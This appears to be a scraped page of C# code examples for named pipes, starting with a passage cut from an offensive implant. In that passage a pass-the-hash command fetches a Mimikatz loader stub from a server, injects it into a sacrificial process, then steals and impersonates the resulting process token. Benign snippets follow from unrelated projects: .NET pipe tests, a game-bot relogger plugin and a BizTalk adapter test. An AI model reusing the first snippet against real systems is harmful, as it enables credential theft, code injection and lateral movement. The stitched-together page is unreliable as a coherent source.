                job.SetError($"pth built-in can only be used with hash-type (e.g., RC4 or NTLM) credentials, and was given credentials of type {cred.credential_type}");
                return;
            }


            string userFQDN = cred.account;

            if (string.IsNullOrEmpty(cred.realm))
            {
                job.SetError("pth requires a valid realm or domain to be set.");
                return;
            }

            command = string.Format(command, new object[] { cred.account, cred.realm, cred.credential, taskParams.program });
            byte[] loaderStub;

            /*
             * Response from the server should be of the form:
             * {
             * "assembly_name": "registered assembly name",
             * "loader_stub_id": "File ID of the loader stub",
             * "pipe_name": "named pipe to connect to",
             * "assembly_arguments": "command line arguments to send",
             * }
             */
            //ProcessWithAnonymousPipeIO sacrificialProcess = null;
            SacrificialProcesses.SacrificialProcess sacrificialProcess = null;


            // Reset the loader stub each time as a new named pipe is given to us from on high.
            loaderStub = null;
            try
            {
                loaderStub = implant.Profile.GetFile(task.id, taskParams.loader_stub_id, implant.Profile.ChunkSize);
            }
            catch (Exception ex)
            {
                job.SetError($"Failed to fetch loader stub for Mimikatz. Reason: {ex.Message}.\nParameters:\n{task.parameters}");
                return;
            }
            if (loaderStub == null || loaderStub.Length == 0)
            {
                job.SetError(String.Format("Unable to retrieve DLL shellcode stub with ID {0}", taskParams.loader_stub_id));
                return;
            }

            pipeName = taskParams.pipe_name;
            if (string.IsNullOrEmpty(pipeName))
            {
                job.SetError("No pipe name was given to DLL to start the named pipe server.");
                return;
            }


            var startupArgs = EvasionManager.GetSacrificialProcessStartupInformation();

            try
            {
                sacrificialProcess = new SacrificialProcesses.SacrificialProcess(startupArgs.Application, startupArgs.Arguments, true);

                if (sacrificialProcess.Start())
                {
                    job.ProcessID          = (int)sacrificialProcess.PID;
                    job.sacrificialProcess = sacrificialProcess;
                    ApolloTaskResponse response;

                    if (sacrificialProcess.Inject(loaderStub))
                    {
                        //sacrificialProcess.CreateNewRemoteThread(tempBytes);
                        //sacrificialProcess.ResumeThread();
                        // bool bRet = sacrificialProcess.StillActive();
                        NamedPipeClientStream pipeClient = new NamedPipeClientStream(pipeName);

                        pipeClient.Connect(30000);

                        StreamWriter writer;
                        try
                        {
                            writer = new StreamWriter(pipeClient);
                            writer.Write(command);
                            writer.Flush();
                            using (StreamReader sr = new StreamReader(pipeClient))
                            {
                                //sr.ReadLine();
                                var line = sr.ReadLine();
                                while (line != null && line.ToUpper().Trim() != "EOF")
                                {
                                    if (line.Contains(" PID "))
                                    {
                                        string[] parts = line.Trim().Split(' ');
                                        if (parts.Length != 5)
                                        {
                                            job.SetError($"No PID could be enumerated from the line: {line}");
                                            break;
                                        }
                                        else
                                        {
                                            if (!int.TryParse(parts[4].Trim(), out pidOfPTHProccess))
                                            {
                                                job.SetError($"Failed to parse PID from: {parts[1].Trim()}");
                                                break;
                                            }
                                        }
                                    }
                                    output.Add(line);
                                    line = sr.ReadLine();
                                }
                            }
                            if (pipeClient.IsConnected)
                            {
                                writer.Close();
                            }

                            if (output.Count > 0)
                            {
                                job.AddOutput(output.ToArray());
                                output.Clear();
                            }
                        }
                        catch (Exception ex)
                        {
                            job.SetError(String.Format("Error while reading from stream: {0}", ex.Message));
                        }

                        if (pidOfPTHProccess != -1)
                        {
                            IntPtr procHandle;
                            IntPtr hStolenToken;
                            try
                            {
                                procHandle = System.Diagnostics.Process.GetProcessById((int)Convert.ToInt32(pidOfPTHProccess)).Handle;
                            }
                            catch (Exception ex)
                            {
                                throw new Exception($"Failed to acquire handle to process {pidOfPTHProccess}. Reason: {ex.Message}");
                            }

                            // Stores the handle for the original process token
                            hStolenToken = IntPtr.Zero; // Stores the handle for our duplicated token

                            // Get handle to target process token
                            bool bRet = OpenProcessToken(
                                procHandle,                                                                                      // ProcessHandle
                                (uint)(TokenAccessLevels.Duplicate | TokenAccessLevels.AssignPrimary | TokenAccessLevels.Query), // desiredAccess
                                out IntPtr tokenHandle);                                                                         // TokenHandle

                            if (!bRet)
                            {
                                throw new Exception($"Failed to open process token: {Marshal.GetLastWin32Error()}");
                                //return;
                            }// Check if OpenProcessToken was successful

                            if (!CredentialManager.SetImpersonatedPrimaryToken(tokenHandle))
                            {
                                throw new Exception($"Failed to set new primary token: {Marshal.GetLastWin32Error()}");
                            }


                            // Duplicate token as stolenHandle
                            bRet = DuplicateTokenEx(
                                tokenHandle,                                                                                                                     // hExistingToken
                                TokenAccessLevels.MaximumAllowed, /*.TOKEN_QUERY | TokenAccessRights.TOKEN_DUPLICATE | TokenAccessRights.TOKEN_ASSIGN_PRIMARY,*/ // dwDesiredAccess
                                IntPtr.Zero,                                                                                                                     // lpTokenAttributes
                                TokenImpersonationLevel.Impersonation,                                                                                           // ImpersonationLevel
                                TOKEN_TYPE.TokenImpersonation,                                                                                                   // TokenType
                                out hStolenToken);                                                                                                               // phNewToken


                            // end testing
                            if (!bRet) // Check if DuplicateTokenEx was successful
                            {
                                throw new Exception($"Failed to duplicate token handle: {Marshal.GetLastWin32Error()}");
                            }

                            ////bRet = ImpersonateLoggedOnUser(tokenHandle);
                            //if (!bRet)
                            //{
                            //    task.status = "error";
                            //    task.message = $"Failed to impersonate logged on user: {Marshal.GetLastWin32Error()}";
                            //}


                            //CloseHandle(tokenHandle);
                            //CloseHandle(procHandle);
                            if (!CredentialManager.SetImpersonatedImpersonationToken(hStolenToken))
                            {
                                throw new Exception($"Failed to impersonate user. Reason: {Marshal.GetLastWin32Error()}");
                            }
                            else
                            {
                                WindowsIdentity ident = new WindowsIdentity(hStolenToken);
                                job.SetComplete($"\n\nSuccessfully impersonated {ident.Name}!");
                                ident.Dispose();
                            }
                        }
                        else
                        {
                            job.SetError("Failed to acquire PID of PTH process.");
                        }
                    }
                    else
                    {
                        job.SetError($"Failed to inject loader stub: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                    }
                }
                else
                {
                    job.SetError($"Failed to start sacrificial process: {System.Runtime.InteropServices.Marshal.GetLastWin32Error()}");
                }
            }
            catch (Exception ex)
            {
                if (sacrificialProcess != null)
                {
                    job.SetError(String.Format("Error in PTH (PID: {0}). Reason: {1}", sacrificialProcess.PID, ex.Message));
                }
                else
                {
                    job.SetError(String.Format("Error in PTH. Reason: {0}", ex.Message));
                }
            }
            finally
            {
                if (!sacrificialProcess.HasExited)
                {
                    sacrificialProcess.Kill();
                }
            }
        }
        [PlatformSpecific(TestPlatforms.Windows)] // Unix currently doesn't support message mode
        public void Windows_MessagePipeTransmissionMode(PipeOptions serverOptions)
        {
            byte[] msg1      = new byte[] { 5, 7, 9, 10 };
            byte[] msg2      = new byte[] { 2, 4 };
            byte[] received1 = new byte[] { 0, 0, 0, 0 };
            byte[] received2 = new byte[] { 0, 0 };
            byte[] received3 = new byte[] { 0, 0, 0, 0 };
            byte[] received4 = new byte[] { 0, 0, 0, 0 };
            byte[] received5 = new byte[] { 0, 0 };
            byte[] received6 = new byte[] { 0, 0, 0, 0 };
            string pipeName  = PipeStreamConformanceTests.GetUniquePipeName();

            using (var server = new NamedPipeServerStream(pipeName, PipeDirection.InOut, 1, PipeTransmissionMode.Message, serverOptions))
            {
                using (var client = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None, TokenImpersonationLevel.Impersonation))
                {
                    server.ReadMode = PipeTransmissionMode.Message;
                    Assert.Equal(PipeTransmissionMode.Message, server.ReadMode);

                    client.Connect();

                    Task clientTask = Task.Run(() =>
                    {
                        client.Write(msg1, 0, msg1.Length);
                        client.Write(msg2, 0, msg2.Length);
                        client.Write(msg1, 0, msg1.Length);

                        client.Write(msg1, 0, msg1.Length);
                        client.Write(msg2, 0, msg2.Length);
                        client.Write(msg1, 0, msg1.Length);

                        int serverCount = client.NumberOfServerInstances;
                        Assert.Equal(1, serverCount);
                    });

                    Task serverTask = Task.Run(async() =>
                    {
                        server.WaitForConnection();

                        int len1 = server.Read(received1, 0, msg1.Length);
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg1.Length, len1);
                        Assert.Equal(msg1, received1);

                        int len2 = server.Read(received2, 0, msg2.Length);
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg2.Length, len2);
                        Assert.Equal(msg2, received2);

                        int expectedRead = msg1.Length - 1;
                        int len3         = server.Read(received3, 0, expectedRead); // read one less than message
                        Assert.False(server.IsMessageComplete);
                        Assert.Equal(expectedRead, len3);
                        for (int i = 0; i < expectedRead; ++i)
                        {
                            Assert.Equal(msg1[i], received3[i]);
                        }

                        expectedRead = msg1.Length - expectedRead;
                        Assert.Equal(expectedRead, server.Read(received3, len3, expectedRead));
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg1, received3);

                        Assert.Equal(msg1.Length, await server.ReadAsync(received4, 0, msg1.Length));
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg1, received4);

                        Assert.Equal(msg2.Length, await server.ReadAsync(received5, 0, msg2.Length));
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg2, received5);

                        expectedRead = msg1.Length - 1;
                        Assert.Equal(expectedRead, await server.ReadAsync(received6, 0, expectedRead));  // read one less than message
                        Assert.False(server.IsMessageComplete);
                        for (int i = 0; i < expectedRead; ++i)
                        {
                            Assert.Equal(msg1[i], received6[i]);
                        }

                        expectedRead = msg1.Length - expectedRead;
                        Assert.Equal(expectedRead, await server.ReadAsync(received6, msg1.Length - expectedRead, expectedRead));
                        Assert.True(server.IsMessageComplete);
                        Assert.Equal(msg1, received6);
                    });

                    Assert.True(Task.WaitAll(new[] { clientTask, serverTask }, TimeSpan.FromSeconds(15)));
                }
            }
        }
Ejemplo n.º 44
0
#pragma warning disable CS4014
        public void Connect()
        {
            if (Connected)
            {
                return;
            }

            stream = new NamedPipeClientStream(".", PipeName, PipeDirection.InOut, PipeOptions.Asynchronous);

            try
            {
                stream.Connect(3000);
            }
            catch (Exception ex)
            {
                Disconnect();

                if (ConnectionStateChanged != null)
                {
                    ConnectionStateChanged.Invoke(this, Connected);
                }

                throw ex;
            }

            Task.Run(new Action(() =>
            {
                if (ConnectionStateChanged != null)
                {
                    ConnectionStateChanged.Invoke(this, Connected);
                }

                // Send ping message
                var pingMessage = new PipeProtoMessage
                {
                    Opcode = PipeProto.OPCODE_PING
                };

                try
                {
                    pingMessage.WriteToClientStream(stream, true);
                    statMsgsSent++;
                }
                catch (Exception ex)
                {
                    Debug.WriteLine("Send message failure: " + ex.Message + " " + ex.StackTrace.ToString());

                    if (Debugger.IsAttached)
                    {
                        Debugger.Break();
                    }

                    Disconnect();
                }

                // Ask for a repaint
                SendRepaintRequest();

                while (Connected)
                {
                    // Read next message
                    PipeProtoMessage incomingMessage = null;

                    try
                    {
                        incomingMessage = PipeProtoMessage.ReadFromStream(stream);
                    }
                    catch (Exception ex) { }

                    if (incomingMessage != null)
                    {
                        try
                        {
                            if (MessageReceived != null)
                            {
                                MessageReceived.Invoke(this, incomingMessage);
                                statMsgsReceived++;
                            }
                        }
                        catch (Exception ex)
                        {
                            Console.WriteLine(ex.Message);
                            Debug.WriteLine(ex.Message + " @ " + ex.StackTrace);

                            if (Debugger.IsAttached)
                            {
                                Debugger.Break();
                            }
                        }
                    }
                }
            }));
        }
Ejemplo n.º 45
0
        private bool Send(string data, bool pause = false, bool xml = false, int retry = 1, int timeout = 3000)
        {
            var success = false;
            var tries   = 0;

            if (!xml)
            {
                data = _bs.Pid + ":" + data;
            }
            else
            {
                data += "\nEND";
            }

            // Pause bot
            if (pause)
            {
                _recieved = false;
                Func <bool> waitFor = Recieved;
                BotMain.PauseWhile(waitFor, 0, TimeSpan.FromMilliseconds((retry * timeout) + 3000));
            }
            while (!success && tries < retry)
            {
                try
                {
                    tries++;
                    using (var client = new NamedPipeClientStream(".", "YetAnotherRelogger"))
                    {
                        client.Connect(timeout);
                        if (client.IsConnected)
                        {
                            var sw = new StreamWriter(client)
                            {
                                AutoFlush = true
                            };
                            var sr = new StreamReader(client);

                            sw.WriteLine(data);
                            var connectionTime = DateTime.Now;
                            while (!success && client.IsConnected)
                            {
                                if (DateTime.Now.Subtract(connectionTime).TotalSeconds > 3)
                                {
                                    client.Close();
                                    break;
                                }

                                var responseText = sr.ReadLine();
                                if (string.IsNullOrWhiteSpace(responseText))
                                {
                                    Thread.Sleep(10);
                                    continue;
                                }

                                HandleResponse(responseText);
                                success = true;
                            }
                        }
                        else
                        {
                            // Failed to connect
                        }
                    }
                }
                catch (TimeoutException)
                {
                    // YAR is not running, disable the plugin
                    Log("TimeoutException - Disabling YAR Plugin");
                    PluginManager.Plugins.Where(p => p.Plugin.Name == this.Name).All(p => p.Enabled = false);
                    Thread.CurrentThread.Abort();
                }
                catch (Exception ex)
                {
                    LogException(ex);
                    OnShutdown();
                }
                Thread.Sleep(100);
            }
            _recieved = true;
            return(success);
        }
Ejemplo n.º 46
0
        public void TestTwoWay_XML()
        {
            PipeSecurity ps = new PipeSecurity();

            ps.AddAccessRule(new PipeAccessRule("USERS", PipeAccessRights.CreateNewInstance | PipeAccessRights.ReadWrite,
                                                System.Security.AccessControl.AccessControlType.Allow));
            //We first spin a pipe server to make sure that the send port will be able to connect
            using (NamedPipeServerStream pipeServer = new NamedPipeServerStream(
                       "TwoWaySend", PipeDirection.InOut, 1,
                       PipeTransmissionMode.Byte, PipeOptions.Asynchronous,
                       1024, 1024, ps))
            {
                string xml         = "<SomeTestMessage><Element1 attribute1=\"attributeValue\"></Element1><Element2>Some element content</Element2></SomeTestMessage>";
                string responseXml = "<SomeTestMessageResponse><Element1 attribute1=\"attributeValue\"></Element1><Element2>Some element content</Element2></SomeTestMessageResponse>";

                OutboundTestHelper testHelper = new OutboundTestHelper(pipeServer, responseXml);

                pipeServer.BeginWaitForConnection(cb => testHelper.ClientConnectedSyncronous(cb), testHelper);

                System.Threading.Thread.Sleep(100);
                //Here we spin the pipe client that will send the message to BizTalk
                using (NamedPipeClientStream pipeClient = new NamedPipeClientStream("localhost",
                                                                                    "TwoWayReceive", PipeDirection.InOut, PipeOptions.Asynchronous))
                {
                    byte[] xmlBytes = Encoding.UTF8.GetBytes(xml);

                    pipeClient.Connect(10000);
                    pipeClient.Write(xmlBytes, 0, xmlBytes.Count());
                    pipeClient.Flush();

                    pipeClient.WriteByte(0x00);//writing the EOF byte
                    pipeClient.Flush();

                    pipeClient.WaitForPipeDrain();

                    //Here we wait for the event to be signalled
                    bool waitExpired = testHelper.syncEvent.WaitOne(10000);

                    Assert.IsTrue(waitExpired, "The waiting time for the response has expired prior to receiving the response");

                    //The event was signalled, we get the message stirng from the outBuffer
                    string receivedXml = Encoding.UTF8.GetString(testHelper.memStream.ToArray(), 0, (int)testHelper.memStream.Length);

                    Assert.AreEqual(xml, receivedXml, "Contents of received message is different");
                    //Here we read from the pipeClient the response message
                    byte[] responseBytes = new byte[256];

                    using (MemoryStream memStream = new MemoryStream(256))
                    {
                        int  byteCountRead = 0;
                        bool eofReached    = false;
                        while (!eofReached)
                        {
                            byteCountRead = pipeClient.Read(responseBytes, 0, responseBytes.Length);

                            if (byteCountRead > 2)
                            {
                                eofReached = (responseBytes[byteCountRead - 1] == 0x0 &&
                                              responseBytes[byteCountRead - 2] != 0x0 &&
                                              responseBytes[byteCountRead - 3] != 0x0);
                            }
                            else if (byteCountRead > 1 && !eofReached)
                            {
                                eofReached = (responseBytes[byteCountRead - 1] == 0x0 &&
                                              responseBytes[byteCountRead - 2] == 0x0);
                            }
                            else if (byteCountRead == 1)
                            {
                                eofReached = responseBytes[byteCountRead - 1] == 0x0;
                            }

                            memStream.Write(responseBytes, 0,
                                            eofReached ? byteCountRead - 1 : byteCountRead);
                        }

                        string receivedResponseXml = GeneralTestHelper.GetMessageFromArray(
                            memStream.ToArray(),
                            (int)memStream.Length,
                            Encoding.UTF8);

                        Assert.AreEqual(responseXml, receivedResponseXml, "Contents of the response message is different");
                    }
                }
            }
        }
Ejemplo n.º 47
0
 public static void ClientConnectTimeoutThrows()
 {
     using (NamedPipeClientStream client = new NamedPipeClientStream("client1"))
     {
         Assert.Throws<ArgumentOutOfRangeException>(() => client.Connect(-111));
         Assert.Throws<ArgumentOutOfRangeException>(() => NotReachable(client.ConnectAsync(-111)));
     }
 }